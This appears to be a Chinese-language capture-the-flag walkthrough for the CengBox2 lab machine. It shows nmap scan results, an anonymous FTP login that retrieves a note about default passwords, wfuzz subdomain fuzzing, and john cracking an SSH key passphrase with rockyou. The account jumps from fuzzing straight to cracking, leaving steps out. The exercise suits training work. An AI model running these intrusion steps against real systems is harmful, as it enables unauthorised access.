PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 209 May 23 2020 note.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.1.101 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:99:9d:e0:bc:07:3c:4f:53:e5:bc:27:35:80:e4:9e (RSA) | 256 fe:60:a1:10:90:98:8e:b0:82:02:3b:40:bc:df:66:f1 (ECDSA) |_ 256 3a:c3:a0:e7:bd:20:ca:1e:71:d4:3c:12:23:af:6a:c3 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site Maintenance |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:A4:96:C9 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Ubuntu 操作系统,先看看 ftp 匿名登录吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[~/Documents/CengBox2] └─$ ftp 192.168.1.103 Connected to 192.168.1.103. 220 (vsFTPd 3.0.3) Name (192.168.1.103:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||27250|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 209 May 23 2020 note.txt ftp> get note.txt
下载到本地后查看
1 2 3 4 5 6 7 8
┌──(kali㉿kali)-[~/Documents/CengBox2] └─$ cat note.txt Hey Kevin, I just set up your panel and used default password. Please change them before any hack.
I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.
Aaron
我们最直观的是拿到了两个人名,其次是对于 ceng-company.vm ,是一个域名,并且已经 created a new area 可能是指域名下的路径。尝试将域名与 IP 映射写入到 hosts 文件中。同时还有个点是默认密码,后续应该会用到。
┌──(kali㉿kali)-[~/Documents/CengBox2] └─$ wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u ceng-company.vm -H "Host:FUZZ.ceng-company.vm" --hw 76 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz\'s documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://ceng-company.vm/ Total requests: 5000
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000024: 403 11 L 32 W 296 Ch "admin" 000002700: 400 12 L 53 W 422 Ch "m." 000002795: 400 12 L 53 W 422 Ch "ns2.cl.bellsouth.net." 000002885: 400 12 L 53 W 422 Ch "ns2.viviotech.net." 000002883: 400 12 L 53 W 422 Ch "ns1.viviotech.net." 000003050: 400 12 L 53 W 422 Ch "ns3.cl.bellsouth.net." 000004083: 400 12 L 53 W 422 Ch "quatro.oweb.com." 000004081: 400 12 L 53 W 422 Ch "ferrari.fortwayne.com." 000004082: 400 12 L 53 W 422 Ch "jordan.fortwayne.com."
┌──(kali㉿kali)-[~/Documents/CengBox2] └─$ sudo john sshhash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status legend (id_rsa) 1g 0:00:00:00 DONE (2023-10-17 01:03) 100.0g/s 195200p/s 195200c/s 195200C/s amore..mandy Use the "--show" option to display all of the cracked passwords reliably Session completed.